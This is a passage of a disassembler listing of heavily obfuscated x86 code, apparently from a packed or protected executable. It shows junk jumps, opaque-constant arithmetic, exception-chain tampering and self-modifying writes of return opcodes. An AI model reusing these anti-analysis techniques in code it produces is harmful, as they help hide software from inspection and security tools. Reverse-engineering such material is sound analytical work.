sub_43F7FF jmp loc_445C00 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440280 loc_438E57: ; CODE XREF: sub_440280+C0EEj sbb ebp, esi xor ebp, eax test ebp, 8F119B3Ah jmp loc_4493F8 ; END OF FUNCTION CHUNK FOR sub_440280 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444871 loc_438E66: ; CODE XREF: y22d6.y.:00444087j ; sub_444871:loc_44C533j rol eax, 2 push ecx push 65AE8A8h pop ecx xor ecx, 3F96BD75h jmp loc_4455CF ; END OF FUNCTION CHUNK FOR sub_444871 ; =============== S U B R O U T I N E ======================================= sub_438E7B proc near ; CODE XREF: y22d6.y.:0043E508j ; sub_449C1B-6FBp arg_0 = dword ptr 4 xchg edx, [esp+0] pop edx xchg ebx, [esp-4+arg_0] mov edi, ebx pop ebx retn sub_438E7B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_438E86 proc near ; CODE XREF: sub_4384B4+562Bp ; sub_43F891+4p ... ; FUNCTION CHUNK AT 0043E8FA SIZE 00000005 BYTES push ebp mov ebp, esp jmp loc_43E8FA sub_438E86 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_443D70 loc_438E8E: ; CODE XREF: sub_443D70:loc_445D3Aj call sub_43B0EE ; END OF FUNCTION CHUNK FOR sub_443D70 ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_438E93: ; CODE XREF: sub_44AEDA-9EDFj jmp loc_43F041 ; END OF FUNCTION CHUNK FOR sub_44AEDA ; --------------------------------------------------------------------------- loc_438E98: ; CODE XREF: y22d6.y.:loc_43A859j mov edx, [esp] push offset sub_445382 jmp loc_44A19C ; --------------------------------------------------------------------------- loc_438EA5: ; CODE XREF: y22d6.y.:loc_445993j and ebx, 1CD2ABEEh jmp loc_443780 ; --------------------------------------------------------------------------- jmp ds:dword_41E0C8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44051D loc_438EB6: ; CODE XREF: sub_44051D+CD6Aj jmp loc_44CCEF ; END OF FUNCTION CHUNK FOR sub_44051D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_438EBB: ; CODE XREF: sub_44271A+7E49j jmp loc_43AFED ; END OF FUNCTION CHUNK FOR sub_44271A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440494 loc_438EC0: ; CODE XREF: sub_440494-2462j jmp loc_43A25C ; END OF FUNCTION CHUNK FOR sub_440494 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_338. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- sbb al, 24h mov edx, ebx pop ebx jnb loc_43C30F mov eax, [esp] push edx call sub_43E3BD loc_438EDA: ; CODE XREF: y22d6.y.:00448582j jmp loc_44C233 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B09B loc_438EDF: ; CODE XREF: sub_43B09B+9F61j jmp loc_44D23E ; END OF FUNCTION CHUNK FOR sub_43B09B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444581 loc_438EE4: ; CODE XREF: sub_444581:loc_43879Fj add edi, 0ADD5DAFBh popf jmp loc_437AE5 ; END OF FUNCTION CHUNK FOR sub_444581 ; --------------------------------------------------------------------------- locret_438EF0: ; CODE XREF: y22d6.y.:loc_448DCCj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E185 loc_438EF1: ; CODE XREF: sub_43E185+Cj jmp loc_43953F ; END OF FUNCTION CHUNK FOR sub_43E185 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440280 loc_438EF6: ; CODE XREF: sub_440280+1E8Cj jno loc_446110 xchg esi, ebx add ebp, eax loc_438F00: ; CODE XREF: sub_448EB6:loc_43B072j ; sub_448EB6-AFB0j ... jmp loc_43ED9E ; --------------------------------------------------------------------------- loc_438F05: ; CODE XREF: sub_448EB6-889j ; sub_440280+D088j pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_440280 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444541 loc_438F08: ; CODE XREF: sub_444541+6222j jmp loc_43A154 ; END OF FUNCTION CHUNK FOR sub_444541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44633F loc_438F0D: ; CODE XREF: sub_44633F-2F3j jmp loc_43BFA7 ; END OF FUNCTION CHUNK FOR sub_44633F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B09B loc_438F12: ; CODE XREF: sub_43B09B+2FFEj jmp sub_43B09B ; END OF FUNCTION CHUNK FOR sub_43B09B ; =============== S U B R O U T I N E ======================================= sub_438F17 proc near ; CODE XREF: sub_43872E-153Fp ; sub_43BEF7-15FEp ... ; FUNCTION CHUNK AT 004429C4 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 004485CC SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0044AA92 SIZE 00000005 BYTES push ebp jmp loc_4429C4 sub_438F17 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448BA0 loc_438F1D: ; CODE XREF: sub_448BA0:loc_44BD0Ej xchg edi, [esp+0] jmp loc_441FAF ; END OF FUNCTION CHUNK FOR sub_448BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C7C1 loc_438F25: ; CODE XREF: sub_43C7C1-22B4j sbb edx, ebp sub eax, 3EA026BBh xor edx, 0CF6B381Eh test edx, ecx jmp loc_438706 ; END OF FUNCTION CHUNK FOR sub_43C7C1 ; --------------------------------------------------------------------------- rol ebx, 15h jmp loc_44D198 ; =============== S U B R O U T I N E ======================================= sub_438F42 proc near ; DATA XREF: y22d6.y.:0043FC7Do ; FUNCTION CHUNK AT 004464AD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044C86E SIZE 00000011 BYTES push ebx push 423C0C41h pop ebx rol ebx, 1 jmp loc_4464AD sub_438F42 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43837F loc_438F50: ; CODE XREF: sub_43837F+7D8Aj jnz loc_43AB5A mov eax, 6 sub eax, [ebp-4] mov [ebp-4], eax jmp loc_43E974 ; END OF FUNCTION CHUNK FOR sub_43837F ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_438F66 proc near ; CODE XREF: sub_4480DE+15D7p ; sub_4480DE+51ECp push ebp mov ebp, esp jmp sub_44B196 sub_438F66 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CBF3 loc_438F6E: ; CODE XREF: sub_43CBF3+E0E9j jge loc_43DF39 ; END OF FUNCTION CHUNK FOR sub_43CBF3 ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_438F74: ; CODE XREF: sub_4432B8-5F08j jmp nullsub_94 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442C41 loc_438F79: ; CODE XREF: sub_442C41-6878j jmp loc_440359 ; END OF FUNCTION CHUNK FOR sub_442C41 ; --------------------------------------------------------------------------- not eax xor ebx, edi sub eax, ecx cmp esi, edx jmp loc_43DF32 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439FCB loc_438F8B: ; CODE XREF: sub_439FCB+5059j mov [ecx], eax xchg edi, [esp+0] mov ecx, edi pop edi jmp loc_43ADAB ; END OF FUNCTION CHUNK FOR sub_439FCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B489 loc_438F98: ; CODE XREF: sub_44529A:loc_43E949j ; sub_44B489:loc_44A447j lea eax, loc_43E343 mov byte ptr [eax], 0C3h jmp loc_4401F5 ; END OF FUNCTION CHUNK FOR sub_44B489 ; =============== S U B R O U T I N E ======================================= sub_438FA6 proc near ; CODE XREF: sub_40158F+156p ; sub_438FA6+5j ; DATA XREF: ... call sub_438FBB jmp ds:off_41E020 sub_438FA6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448488 loc_438FB1: ; CODE XREF: sub_448488-6C01j jmp nullsub_111 ; END OF FUNCTION CHUNK FOR sub_448488 ; --------------------------------------------------------------------------- loc_438FB6: ; CODE XREF: y22d6.y.:00440EB0j jmp loc_44C048 ; =============== S U B R O U T I N E ======================================= sub_438FBB proc near ; CODE XREF: sub_438FA6p ; y22d6.y.:0044111Dj ... ; FUNCTION CHUNK AT 00444642 SIZE 00000005 BYTES pop edx push offset loc_43B8D2 jmp loc_444642 sub_438FBB endp ; =============== S U B R O U T I N E ======================================= sub_438FC6 proc near ; DATA XREF: sub_43FFBB+87E1o arg_4 = dword ptr 8 mov esp, [esp+arg_4] sub_438FC6 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_439932 loc_438FCA: ; CODE XREF: sub_439932+4j ; y22d6.y.:0043A005j ... xor eax, eax loc_438FCC: ; CODE XREF: sub_439932+CA4j ; y22d6.y.:004485B1j pop large dword ptr fs:0 pop edx push offset loc_4470A9 jmp loc_43CBC8 ; END OF FUNCTION CHUNK FOR sub_439932 ; --------------------------------------------------------------------------- word_438FDE dw 0C081h ; DATA XREF: sub_438F17+F6C3o dd 0C5F526Eh, 9AE8008Bh db 0E4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_438FEB: ; CODE XREF: y22d6.y.:loc_44E25Dj jz loc_438537 ; START OF FUNCTION CHUNK FOR sub_43DB23 loc_438FF1: ; CODE XREF: sub_43DB23+E8BDj jmp nullsub_205 ; END OF FUNCTION CHUNK FOR sub_43DB23 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F422 loc_438FF6: ; CODE XREF: sub_43F422+16j jmp loc_444FAD ; END OF FUNCTION CHUNK FOR sub_43F422 ; --------------------------------------------------------------------------- jns loc_445822 jmp loc_43852E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442FA7 loc_439006: ; CODE XREF: sub_442FA7-694Dj jnz loc_4398D2 jz loc_447136 jmp loc_4494E6 ; END OF FUNCTION CHUNK FOR sub_442FA7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BBBA loc_439017: ; CODE XREF: sub_44BBBA:loc_43B58Aj jl loc_4449DB loc_43901D: ; CODE XREF: y22d6.y.:0043FD21j jmp loc_43B69A ; END OF FUNCTION CHUNK FOR sub_44BBBA ; --------------------------------------------------------------------------- sbb edi, esi rol edx, 1Dh ; START OF FUNCTION CHUNK FOR sub_449CBB loc_439027: ; CODE XREF: sub_449CBB:loc_449CC8j xor edx, esi jmp loc_4449DB ; END OF FUNCTION CHUNK FOR sub_449CBB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4409F4 loc_43902E: ; CODE XREF: sub_4409F4:loc_4421A0j jz loc_43C366 jmp loc_4413A5 ; END OF FUNCTION CHUNK FOR sub_4409F4 ; --------------------------------------------------------------------------- locret_439039: ; CODE XREF: y22d6.y.:loc_44CA75j retn ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_362. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_43903B: ; CODE XREF: y22d6.y.:00444A78j jmp loc_438464 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444581 loc_439040: ; CODE XREF: sub_444581-922Bj jmp loc_444784 ; END OF FUNCTION CHUNK FOR sub_444581 ; --------------------------------------------------------------------------- db 9Ch, 3Bh, 0D9h dword_439048 dd 0 ; DATA XREF: y22d6.y.:00437EC1w ; sub_44271A:loc_447BC1r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E037 loc_43904C: ; CODE XREF: sub_43E037-3519j jmp loc_44A05C ; END OF FUNCTION CHUNK FOR sub_43E037 ; =============== S U B R O U T I N E ======================================= sub_439051 proc near ; CODE XREF: sub_4051BC+41p ; DATA XREF: r69pu5ti:off_41E004o var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 004374E1 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00437DBD SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0043816C SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00438BFF SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004390E6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004391D3 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 004398CA SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00439A2D SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0043B791 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043C7EA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043D6D6 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0043D8A5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043DCB5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043F655 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00440134 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 004402CA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00440BBF SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00440FD0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00441360 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 004415EB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00442749 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00442F40 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00443669 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 00443C0A SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00444507 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00445080 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0044565D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0044582D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00445978 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00446400 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00447B30 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 004488CD SIZE 00000005 BYTES jns loc_443683 mov eax, ds:dword_43DF48 or eax, eax jnz loc_438BFF jmp loc_43DCB5 sub_439051 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CF9E loc_43906A: ; CODE XREF: sub_43CF9E+10j push 28h mov eax, [ebp-4] ; END OF FUNCTION CHUNK FOR sub_43CF9E ; START OF FUNCTION CHUNK FOR sub_44633F loc_43906F: ; CODE XREF: sub_44633F:loc_43F2EDj push edi mov edi, eax xchg edi, [esp+0] call sub_442206 jmp loc_43B21A ; END OF FUNCTION CHUNK FOR sub_44633F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442C0C loc_43907F: ; CODE XREF: sub_442C0C-ADBBj jb loc_43B265 sub al, 99h mov edx, [ebp+var_4] imul byte ptr [edx] push offset sub_449C1B jmp loc_439BFE ; END OF FUNCTION CHUNK FOR sub_442C0C ; =============== S U B R O U T I N E ======================================= sub_439096 proc near ; CODE XREF: y22d6.y.:0043D55Ap ; y22d6.y.:0043F0EBj arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0043E49B SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0043E89C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00440482 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00442B9B SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0044936B SIZE 00000006 BYTES xchg ecx, [esp+0] pop ecx ror eax, 12h push edi push 0C8CC7ED9h jmp loc_43E89C sub_439096 endp ; sp-analysis failed ; --------------------------------------------------------------------------- test ebx, 0E57D6D4Bh jmp loc_44A188 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AC0F loc_4390B3: ; CODE XREF: sub_44AC0F:loc_442B56j push 0CCC9BB95h pop edi add edi, 0C9483844h sub edi, 64A08F80h and edi, 0E97CC2FDh add edi, 0DED39419h xchg edi, [esp+4+var_4] jmp loc_43C4BB ; END OF FUNCTION CHUNK FOR sub_44AC0F ; --------------------------------------------------------------------------- loc_4390D9: ; CODE XREF: y22d6.y.:0044B4E8j jge loc_43B4E8 cmp esi, eax jmp loc_4453A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439051 loc_4390E6: ; CODE XREF: sub_439051+7B81j test esi, 2 jmp loc_444507 ; END OF FUNCTION CHUNK FOR sub_439051 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4428C2 loc_4390F1: ; CODE XREF: sub_4428C2-96F4j ; y22d6.y.:0044BE54j pushf loc_4390F2: ; CODE XREF: sub_4428C2:loc_4391C6j and eax, 8E9DDAD1h sub eax, 506F509Ch add eax, 4A1D67D8h xchg eax, [esp+4+var_4] jmp loc_43B157 ; END OF FUNCTION CHUNK FOR sub_4428C2 ; =============== S U B R O U T I N E ======================================= sub_43910C proc near ; DATA XREF: sub_43704E+296Eo ; FUNCTION CHUNK AT 00438CE0 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043A712 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00440FAD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004488FD SIZE 0000000F BYTES add eax, 0EDF56A1Ah mov eax, [eax] or eax, eax jnz loc_44638B jmp loc_440FAD sub_43910C endp ; --------------------------------------------------------------------------- loc_439121: ; CODE XREF: y22d6.y.:00441BB1j sbb edi, ebx jmp loc_44AFE0 ; --------------------------------------------------------------------------- loc_439128: ; CODE XREF: y22d6.y.:0044046Ej jnz loc_446FC0 ; START OF FUNCTION CHUNK FOR sub_440280 loc_43912E: ; CODE XREF: sub_440280+1997j jmp sub_44A793 ; END OF FUNCTION CHUNK FOR sub_440280 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444581 loc_439133: ; CODE XREF: sub_444581-4AE3j jmp loc_43B95A ; END OF FUNCTION CHUNK FOR sub_444581 ; --------------------------------------------------------------------------- push 61FA5215h adc ebx, 2EAE6B22h test edi, 2DD52869h jmp loc_43F980 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_43914E: ; CODE XREF: sub_44B17B-A72Cj jz loc_443085 loc_439154: ; CODE XREF: sub_4432B8+6258j jmp loc_43D5C5 ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44DB3E loc_439159: ; CODE XREF: sub_44DB3E-F74Dj jmp loc_444C8C ; END OF FUNCTION CHUNK FOR sub_44DB3E ; --------------------------------------------------------------------------- shr eax, 1Eh jmp loc_443080 ; --------------------------------------------------------------------------- loc_439166: ; CODE XREF: y22d6.y.:loc_44A645j cdq loc_439167: ; CODE XREF: y22d6.y.:0044D342j shl ebp, 7 jmp loc_441CD3 ; --------------------------------------------------------------------------- loc_43916F: ; CODE XREF: y22d6.y.:0044DEDAj jz loc_4429D0 ; =============== S U B R O U T I N E ======================================= sub_439175 proc near ; CODE XREF: sub_4432B8+7E1Ep ; FUNCTION CHUNK AT 0043B63E SIZE 00000012 BYTES xchg edi, [esp+0] pop edi add ebx, 49179AA8h jmp loc_43B63E sub_439175 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_439184 proc near ; DATA XREF: sub_44D54C+Co pop ebx sub_439184 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_43F7FF loc_439185: ; CODE XREF: sub_43F7FF-7157j ; y22d6.y.:0044757Ej xchg eax, edx call sub_44D293 retn ; END OF FUNCTION CHUNK FOR sub_43F7FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441030 loc_43918C: ; CODE XREF: sub_441030+2DDCj jmp loc_43E8EA ; END OF FUNCTION CHUNK FOR sub_441030 ; --------------------------------------------------------------------------- loc_439191: ; CODE XREF: y22d6.y.:00437B69j jmp locret_44CCEE ; --------------------------------------------------------------------------- dw 0E8D9h dword_439198 dd 0 ; DATA XREF: sub_43F7FF:loc_4386A0r ; y22d6.y.:loc_447576r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B3C9 loc_43919C: ; CODE XREF: sub_44B3C9-B540j jmp nullsub_169 ; END OF FUNCTION CHUNK FOR sub_44B3C9 ; --------------------------------------------------------------------------- db 0A4h, 33h, 75h dword_4391A4 dd 14AC2241h, 64995241h, 63D891C5h ; DATA XREF: sub_43FFC2o ; sub_442FA7+6540o db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FBC3 loc_4391B1: ; CODE XREF: sub_43FBC3+7318j jmp loc_44915A ; END OF FUNCTION CHUNK FOR sub_43FBC3 ; --------------------------------------------------------------------------- jnb loc_445A7B call sub_43FC1E ; START OF FUNCTION CHUNK FOR sub_4475B3 loc_4391C1: ; CODE XREF: sub_4475B3-6CE9j jmp loc_44BD9B ; END OF FUNCTION CHUNK FOR sub_4475B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4428C2 loc_4391C6: ; CODE XREF: sub_4428C2-A5A3j jge loc_4390F2 xchg edx, [ebx] jmp loc_4390F1 ; END OF FUNCTION CHUNK FOR sub_4428C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439051 loc_4391D3: ; CODE XREF: sub_439051+9EDj pop ecx xor ecx, ds:4000E2h and ecx, 93DBB8F3h add ecx, 0FD2BCF15h xchg ecx, [esp-4+arg_0] jmp sub_4480DE ; END OF FUNCTION CHUNK FOR sub_439051 ; =============== S U B R O U T I N E ======================================= sub_4391EE proc near ; DATA XREF: y22d6.y.:00442534o arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0044074A SIZE 00000005 BYTES add esi, 23A3BBE6h popf xchg esi, [esp-4+arg_0] jmp loc_44074A sub_4391EE endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B252 loc_4391FD: ; CODE XREF: sub_43B252:loc_448E8Aj jnz loc_44851D jmp loc_4376DC ; END OF FUNCTION CHUNK FOR sub_43B252 ; --------------------------------------------------------------------------- loc_439208: ; CODE XREF: y22d6.y.:00438421j jz loc_44375B rol ebp, 1Bh shr edi, 0Dh jmp loc_44375B ; --------------------------------------------------------------------------- loc_439219: ; CODE XREF: y22d6.y.:0044CD1Aj mov ecx, esi ; =============== S U B R O U T I N E ======================================= sub_43921B proc near ; CODE XREF: sub_43CC01+Ap xchg ecx, [esp+0] pop ecx mov byte ptr [eax], 0C3h jmp sub_44928B sub_43921B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_439227 proc near ; CODE XREF: sub_418C1B+8Cp ; sub_439227+5j ; DATA XREF: ... call sub_43923C jmp ds:off_41E0A4 sub_439227 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44193A loc_439232: ; CODE XREF: sub_44193A-2802j jmp nullsub_104 ; END OF FUNCTION CHUNK FOR sub_44193A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_439237: ; CODE XREF: sub_448EB6-C137j jmp loc_43E4F6 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; =============== S U B R O U T I N E ======================================= sub_43923C proc near ; CODE XREF: sub_439227p ; y22d6.y.:loc_43A407j ... arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00438487 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043A402 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043C607 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0043C798 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0044196C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00441E7A SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00443CD6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00445F0D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00448AA4 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0044B06A SIZE 00000005 BYTES jb loc_443CD6 jmp loc_445F0D sub_43923C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BEF7 loc_439247: ; CODE XREF: sub_43BEF7:loc_441935j jz loc_44AD08 jmp loc_44C736 ; END OF FUNCTION CHUNK FOR sub_43BEF7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E185 loc_439252: ; CODE XREF: sub_43E185:loc_448E13j push esi mov esi, eax push offset sub_445A71 jmp nullsub_284 ; END OF FUNCTION CHUNK FOR sub_43E185 ; --------------------------------------------------------------------------- loc_43925F: ; CODE XREF: y22d6.y.:0044744Aj cmp edi, 0A199DB64h jmp loc_440AB6 ; --------------------------------------------------------------------------- loc_43926A: ; CODE XREF: y22d6.y.:00444472j jl loc_44099F ; START OF FUNCTION CHUNK FOR sub_43C17E loc_439270: ; CODE XREF: sub_43C17E+D560j jmp loc_4432E4 ; END OF FUNCTION CHUNK FOR sub_43C17E ; --------------------------------------------------------------------------- sbb esi, eax xchg esi, ebp jmp loc_440999 ; --------------------------------------------------------------------------- loc_43927E: ; CODE XREF: y22d6.y.:loc_442455j rol eax, 17h add eax, 61823DBDh add eax, ebp add eax, 33A7AE9Ch mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_43B229 jmp loc_442D2C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44123E loc_43929F: ; CODE XREF: sub_44123E:loc_4403FFj jz loc_437708 jmp loc_4484C6 ; END OF FUNCTION CHUNK FOR sub_44123E ; --------------------------------------------------------------------------- loc_4392AA: ; CODE XREF: y22d6.y.:0043AF9Dj jnp loc_43CDBA ; =============== S U B R O U T I N E ======================================= sub_4392B0 proc near ; CODE XREF: sub_444183:loc_44528Bp ; FUNCTION CHUNK AT 0043BB0F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043C420 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043C6EA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043E71D SIZE 00000036 BYTES ; FUNCTION CHUNK AT 0043FB15 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0044A2FD SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0044C7A8 SIZE 0000000A BYTES xchg eax, [esp+0] pop eax jnb loc_43E73C cmp ds:dword_441954, 0 jmp loc_43C6EA sub_4392B0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DB23 loc_4392C6: ; CODE XREF: sub_43DB23+10583j push edx call sub_44B674 mov eax, 0DD5E106Fh call sub_43CA1A push edi jmp loc_43A559 ; END OF FUNCTION CHUNK FOR sub_43DB23 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441E1E loc_4392DC: ; CODE XREF: sub_441E1E+11j pop eax pop eax push eax mov eax, edi xchg eax, [esp-4+arg_0] mov edi, eax xchg edi, [esp-4+arg_0] jmp loc_44074F ; END OF FUNCTION CHUNK FOR sub_441E1E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FAC6 loc_4392EE: ; CODE XREF: sub_43FAC6+BDD1j jnz loc_441EE9 popf jmp loc_441EE2 ; END OF FUNCTION CHUNK FOR sub_43FAC6 ; --------------------------------------------------------------------------- loc_4392FA: ; DATA XREF: sub_43A1BC-21AEo jnz locret_43FFB0 ; START OF FUNCTION CHUNK FOR sub_43A1BC loc_439300: ; CODE XREF: sub_43A1BC+4j push offset loc_43FFAB jmp loc_43FC19 ; END OF FUNCTION CHUNK FOR sub_43A1BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4450FD loc_43930A: ; CODE XREF: sub_4450FD:loc_44616Bj jz loc_442058 jmp loc_44DCFF ; END OF FUNCTION CHUNK FOR sub_4450FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438399 loc_439315: ; CODE XREF: sub_438399:loc_44D0D1j or eax, 948AF4A2h sub eax, 80AC17A7h xor eax, 7EDECF5Dh add eax, 9CB6C1BDh xchg eax, [esp-4+arg_0] jmp sub_444581 ; END OF FUNCTION CHUNK FOR sub_438399 ; --------------------------------------------------------------------------- loc_439335: ; DATA XREF: sub_43E77C+7o mov eax, [ebp-14h] push eax call sub_439BCA push 0FAE559E0h jmp loc_43E2BD ; --------------------------------------------------------------------------- shr esi, 13h jmp sub_43BEF7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_43. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449641 loc_439351: ; CODE XREF: sub_449641-9AC6j jmp loc_437035 ; END OF FUNCTION CHUNK FOR sub_449641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E0A9 loc_439356: ; CODE XREF: sub_43E0A9-3805j jmp sub_44C3E5 ; END OF FUNCTION CHUNK FOR sub_43E0A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C17E loc_43935B: ; CODE XREF: sub_43C17E-4E7Bj jmp nullsub_98 ; END OF FUNCTION CHUNK FOR sub_43C17E ; --------------------------------------------------------------------------- loc_439360: ; CODE XREF: y22d6.y.:loc_43B75Bj jo loc_4379FF mov eax, [esp] push edx push ebx push 28FBE54Ah jmp loc_440A42 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_162. PRESS 